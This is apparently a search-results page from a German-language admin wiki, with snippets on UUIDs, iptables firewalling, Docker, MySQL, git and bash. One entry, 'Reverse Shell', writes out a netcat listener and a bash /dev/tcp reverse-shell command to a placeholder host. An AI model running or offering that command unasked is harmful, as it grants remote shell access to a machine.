Advanced Search
Search Results
20 total results found
V1 - V7
UUIDs (Universally Unique Identifiers) haben mehrere Versionen (v1–v7), die sich vor allem darin unterscheiden, wie sie erzeugt werden. Jede Version hat ihren eigenen Zweck und Kompromisse (z. B. zwischen Zufälligkeit, Nachvollziehbarkeit und Sortierbarkeit). ...
Struktur einer UUID
Grundstruktur einer UUID Eine UUID besteht immer aus 128 Bits = 16 Bytes. Typische Darstellung: 123e4567-e89b-12d3-a456-426614174000 Aufgeteilt: 8-4-4-4-12 Hex-Zeichen Das entspricht: 32 Bit – 16 Bit – 16 Bit – 16 Bit – 48 Bit Bit-Level Aufbau (allgemein) Eine...
Block IPs
Eine einzelne IP blockieren sudo iptables -A INPUT -s 192.168.1.100 -j DROP -A INPUT → Regel zur Eingangs-Kette hinzufügen -s 192.168.1.100 → Quelle (die zu blockierende IP) -j DROP → Pakete einfach verwerfen (keine Antwort) IP komplett sperren (ein- und ausge...
Block IPs /Docker
Docker umgeht teilweise die normalen iptables-Regeln, weil es eigene Regeln und Chains anlegt. Docker setzt eigene Chains wie: DOCKER DOCKER-USER 👉 Traffic zu Containern wird oft vor den normalen INPUT-Regeln verarbeitet. Deshalb greifen die Block-Regeln nicht...
Regeln gegen PortScans
Diese vier iptables-Befehle dienen der Absicherung des Servers gegen unübliche Netzwerkpakete. Sie werden häufig eingesetzt, um Port-Scans (Sondierungen durch Angreifer) zu erkennen, zu protokollieren (loggen) und zu blockieren. 1. Null-Scan-Erkennung und R...
iptables das klassische Firewall-Werkzeug unter Linux
Auch wenn modernere Linux-Distributionen standardmäßig oft auf nftables setzen, bleibt das logische Prinzip von iptables die absolute Grundlage für das Verständnis von Netzwerk-Firewalls unter Linux. Teil 1: Allgemeiner Überblick & Paketfluss (Routing) Wen...
tmux (engl)
tmux Cheat Sheet source: Michael Lihs General Usage Start a tmux session with tmux Select text in a tmux window with your mouse by holding the SHIFT key (Windows) or the OPTIONS key (Mac) and then using the mouse as you'd normally do Shortcuts ========= Key(...
DB-Replikation
Einrichtung Master MySQL Konfigurationsdatei anpassen: [mysqld] server-id = <eindeutige ID zB 10> log-bin = mysql-bin binlog-format = ROW Neustarten des MySQL-Dienstes auf dem Master-Server Benutzer für die Replikation erstellen und Berechtigungen erteilen: CR...
Docker auf Ubuntu installieren
Der Artikel Beschreibt die Installation von Docker auf der Ubuntu-VM unter Berücksichtigung der systemd Proxykonfiguration. for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do apt remove $pkg; done GPG-Key der Docker Pakete insta...
Prozesse mit bestimmtem 'state' killen
Bash-Einzeiler (auf der Linux-Konsole) Wenn du SSH-Zugriff auf den Server oder den MySQL-Client hast, kannst du die Prozess-IDs mit awk auslesen und direkt zurück an MySQL zum Beenden pipe-en: mysql -e "SELECT id FROM information_schema.processlist WHERE stat...
Waiting for table flush
Der Status Waiting for table flush entsteht meistens durch ein klassisches Henne-Ei-Problem im MySQL-Query-Locking: Ein Prozess fordert das Schließen/Leeren der Tabellencaches an (z. B. ein Backup, FLUSH TABLES, ALTER TABLE oder ANALYZE TABLE), wird aber s...
TUI
Terminal User Interfaces Name Beschreibung Link btop Resource monitor that shows usage and stats for processor, memory, disks, network and processes. https://github.com/aristocratos/btop l...
Remove unwanted files from a git repo AFTER adding a .gitignore.
# See the unwanted files: git ls-files -ci --exclude-standard # Remove the unwanted files: git ls-files -ci --exclude-standard -z | xargs -0 git rm --cached # Commit changes git commit -am "Removed unwanted files marked in .gitignore" # Push git push origin m...
Reverse Shell
How to open a reverse shell On receiving end, open port with i.e. netcat (nc). nc -lvp 4444 On sending server, open connection to receiver with bash -i >& /dev/tcp/<recei...
Tools
Tools for developers, admins, programmers Name Beschreibung Link DevToys Swiss Army knife for developers https://devtoys.app/ Tabby A terminal for the modern age https://tabby.sh/
Bash [ ] vs. [[ ]] und = vs. -eq
In der Bash-Shell stolpert man schnell über [ ] und [[ ]]. Auf den ersten Blick tun beide genau dasselbe: Sie prüfen Bedingungen (z. B. ob eine Datei existiert oder ob zwei Strings gleich sind). [ ] vs. [[ ]] Der Hauptunterschied ist: [ ist ein altes, exte...
Docker Resourcen begrenzen
Damit ein Container nicht alle System-Ressourcen für sich beanspruchen kann... Was z.B. Nextcloud gelegentlich tut :-) services: nextcloud: image: nextcloud:latest # ... deine anderen Einstellungen ... deploy: resources: li...
origin
Wofür steht eigentlich "origin"? Wenn du ein Repository mit git clone <URL> von GitHub, GitLab oder Bitbucket auf deinen Rechner holst, passiert im Hintergrund automatisch Fol...